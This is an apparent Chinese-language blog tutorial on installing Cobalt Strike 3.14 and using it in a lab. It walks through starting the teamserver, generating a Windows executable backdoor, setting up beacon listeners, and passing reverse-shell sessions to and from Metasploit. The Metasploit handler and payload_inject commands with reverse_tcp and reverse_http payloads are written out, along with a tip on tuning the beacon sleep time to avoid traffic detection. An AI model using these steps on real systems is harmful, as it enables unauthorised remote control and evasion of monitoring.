事情起因
CobaltStrike
是老牌工具了,我还没写过
0x01 简介
Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。
0x02 安装启动
安装
Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。服务器端只能运行在Linux系统中,可搭建在VPS上。
我这里使用的t00ls
论坛的cobaltstrike_v3.14
版本
服务端关键的文件是teamserver
以及cobaltstrike.jar
,将这两个文件放到服务器上同一个目录,然后运行:
chmod +x teamserver
./teamserver 192.168.1.2 soapffz
# 服务端真实IP(不能使用0.0.0.0或127.0.0.1)和连接密码
cobaltstrike
支持的java
版本必须在这些之上:
OpenJDK 11
Oracle Java 11
Oracle Java 1.8
不然就会报错,按照官方推荐的安装方法安装即可
apt-get install openjdk-11-jdk -y
启动
Linux
和Windows
下都可以使用这条命令启动:
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
如果没有汉化文件也不会报错,只会提示你没有这个文件
当然,Windows下也可以直接点击
cobaltstrike.bat`启动:
这里的用户名可以随便填,就是你的登录到cs
之后的用户名:
0x03 简单上线示范
cs
的参数太多了,如果是英文版的可以看下面的参考文章自行对比使用
我这里就简单示范一下基本的生成payload
获得shell
的过程
点击上面菜单的Attack
(攻击),点击Packages
(生成后门中)的Windows Executable
有S
的版本中的说明说的是无状态的。
添加一个监听器:
在这个版本中,提供了9
个监听器:
beacon_xx
系列为Cobalt Strike
自身,包括dns
、http
、https
、smb
四种方式的监听器。
foreign
系列为外部监听器,通常与MSF
或者Armitage
联动。
在Cobalt Strike
3.13版本后增加了一个新的Listeners (windows/beacon_tcp/bind_tcp)
,它支持linuxSSH
会话。
创建一个监听器
上线
上线成功:
右键目标进入beacon
(interact)
在Cobalt Strike
中,默认心跳为60
s,执行命令的响应很慢,在下载文件时更加明显
所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显,在这里设置sleep 10
。
同时在beacon
中,如果想对目标进行命令管理,需要在前面加上shell
,如shell whoami
、shell ipconfig
等。
0x04 msf与cs联动
msf获得beacon shell
cs
中自带socks
功能,可以使用socks
把msf
带入目标主机内网进行扫描
我这里是内网环境,就不示范了,我示范下beacon shell
如何传给msf
首先在msf
使用我们的老朋友开启监听,但要注意的是,payload
不要设置为64
位的:
msfconsole
handler -H 192.168.1.2 -P 3456 -p windows/meterpreter/reverse_tcp
然后选择目标主机右键选择派生会话(spawn),新建一个Listener
并选择新建的msf
的Listener
然后msf
就能收到会话,我的cs
和msf
运行在同一台机器上也可以
cs获得msf会话
同样的,会话也能从msf
传到cs
,在cs
中创建一个监听者,和上一步类似
这里host
需要修改为cs
客户端IP,创建好之后便监听端口,等待着被控机连接。
在msf
中执行如下操作:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.1.10
set lport 5678
set DisablePayloadHandler true
set session 1
run
把原来的会话删除掉,执行run
后你就能看到会话又回来了
本文完。
参考文章: